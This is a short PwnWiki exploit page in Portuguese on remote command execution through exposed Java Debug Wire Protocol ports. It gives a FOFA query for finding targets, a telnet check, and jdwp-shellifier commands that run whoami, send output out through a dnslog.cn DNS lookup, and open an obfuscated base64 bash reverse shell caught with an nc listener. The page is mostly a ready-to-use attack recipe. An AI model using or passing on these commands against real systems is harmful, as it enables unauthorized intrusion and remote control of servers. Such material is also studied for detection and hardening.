Vulnerabilidade de execução de comando remoto JDWP

From PwnWiki
This page is a translated version of the page JDWP 遠程命令執行漏洞 and the translation is 100% complete.
Other languages:
Chinese • ‎português • ‎中文(繁體)‎

FOFA

banner=”jdwp” && port="8000"

POC

telnet xxx.xxx.xxx.xxx 8000

As informações a seguir são retornadas, indicando que a vulnerabilidade existe. Mas observe que, em alguns casos, ele pode ser usado com sucesso sem qualquer eco.

JDWP-Handsharke

EXP

https://github.com/IOActive/jdwp-shellifier

python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "whoami"


Use Dnslog para ecoar:

python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "ping http://.`whoami`.yoww7w.dnslog.cn"


Getshell

python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "bash -c {echo,YmFzaCAtaSA+JiAvfrV2L3RjcC8xOTIgrth4LjE4NS42Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}"

Monitore a execução da máquina:

nc -lvp 8888